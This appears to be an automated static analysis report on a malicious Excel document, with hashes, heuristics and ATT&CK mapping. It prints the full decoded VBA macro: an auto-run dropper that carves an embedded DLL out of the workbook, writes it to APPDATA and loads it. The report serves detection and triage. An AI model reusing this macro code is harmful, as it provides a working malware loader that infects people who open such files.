Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 69ea9e77172e3a5f…

MALICIOUS

Office (OLE)

276.5 KB Created: 2019-08-30 09:14:50 Authoring application: Microsoft Excel First seen: 2019-11-20
MD5: 8c442190965bb4cf6321ca2adf36f37d SHA-1: 76ddb3fc40438c7fd69ab36983017a62a5d7faa0 SHA-256: 69ea9e77172e3a5ff062643bce69f095185fa2d427bd4e18aebca4a70cb5efaf
276 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an Excel document containing VBA macros that are triggered by the Workbook_Open event. These macros attempt to create and execute a second-stage payload, identified as an embedded PE executable (embedded_office_00003f5f.exe). The VBA code also references DLLs named 'pattern1.dll' and 'pattern2.dll' which are likely part of the malicious payload or loader. The use of VBA macros to download and execute arbitrary code is a common technique for initial payload delivery.

Heuristics 9

  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set oApp = CreateObject("Shell.Application")
        oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
    ExecuteExcel4Macro "MESSAGE(False, ""Debug"")"
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ExecuteExcel4Macro "MESSAGE(False, ""Debug"")"
    ChDir (Environ("TEMP"))
        UserForm1.Show
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4137 bytes
SHA-256: 5ffe916676d8cf232c7a1a359f1a898006b03b61b250bb95134e46fd76c07e7f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "l1"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
ExecuteExcel4Macro "MESSAGE(False, ""Debug"")"
ChDir (Environ("TEMP"))
    UserForm1.Show
ExecuteExcel4Macro "MESSAGE(False, ""Debug"")"
End Sub


Attribute VB_Name = "bb"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
#If Win64 Then
    Public Declare PtrSafe Function Amway Lib _
        "pattern2.dll" () As Integer
    Public Declare PtrSafe Function Eliot Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
#Else
    Public Declare Function Amway Lib _
        "pattern1.dll" () As Integer
    Public Declare Function Eliot Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
#End If
        




Public Sub CreateGifFile()
    TempName = Environ("TEMP") & "\pesgdhb_.xlsx"
    ZipName = TempName + ".zip"
    ZipFolder = Environ("TEMP") '& "\UnzTmp"
    Dim nm As String
    Dim size As Long
    Dim num As Integer
#If Win64 Then
    nm = Environ("APPDATA") + "\pattern2.dll"
    size = 66048
    num = 2
#Else
    
    nm = Environ("APPDATA") + "\pattern1.dll"
    size = 77824
    num = 1
#End If
        
    On Error Resume Next
    Kill ZipName
    Kill ZipFolder & "\oleObject*.bin"
  
    Kill nm
    On Error GoTo 0

    ThisWorkbook.Sheets.Copy
    Application.DisplayAlerts = False
    ActiveWorkbook.SaveAs TempName, FileFormat:=51
    ActiveWorkbook.Close

    

    FileCopy TempName, ZipName
    
    Set oApp = CreateObject("Shell.Application")
    oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
    ReadAndWriteExtractedBinFile ZipFolder + "\oleObject1.bin", nm, size, num
    
    ChDir (Environ("APPDATA"))
    Hwnd = Eliot(nm)
    Amway

End Sub
Sub ReadAndWriteExtractedBinFile(s As String, nm As String, fl As Long, num As Integer)
    Dim intFileNum As Long, bytTemp1 As Byte, bytTemp2 As Byte, bytTemp3 As Byte
    Dim DataArray() As Long

    ReDim DataArray(1 To fl)
    DataArray(1) = CByte(77)
    DataArray(2) = CByte(90)
    DataArray(3) = CByte(144)
    
    intFileNum = FreeFile
    Open s For Binary Access Read As intFileNum
    Dim cur As Integer
    cur = 1
    Do While Not EOF(intFileNum)
        Get intFileNum, , bytTemp1
        If bytTemp1 = DataArray(1) Then
           Get intFileNum, , bytTemp2
           If bytTemp2 = DataArray(2) Then
                Get intFileNum, , bytTemp3
                If bytTemp3 = DataArray(3) Then
                     If cur = num Then
                        For k = 4 To fl
                            Get intFileNum, , bytTemp1
                            DataArray(k) = bytTemp1
                            Next k
                         Exit Do
                     Else
                        cur = cur + 1
                     End If
                End If
           End If
        End If
    Loop
    Close intFileNum
    
    intFileNum = FreeFile
    Open nm For Binary Lock Read Write As #intFileNum
    For i = LBound(DataArray) To UBound(DataArray)
        Put #intFileNum, , CByte(DataArray(i))
    Next i

    Close #intFileNum
End Sub



Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{A09C7AA7-2425-484A-A217-44D76214A310}{C6DEB22C-F0C7-4B39-A094-FEA7943DEA2F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()

CreateGifFile
End Sub
embedded_office_00003f5f.exe embedded-pe Office MZ+PE at offset 0x3F5F 266913 bytes
SHA-256: b808a3830ff77e0e6e09bdaac0e5b931bafd6f66865a5798915e9de00835643d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: MBD0044C346/Ole10Native 156297 bytes
SHA-256: b3d6943736af7cf63d81d3096feac4b2e7db4813628f4caf5f41d9fbba258b1a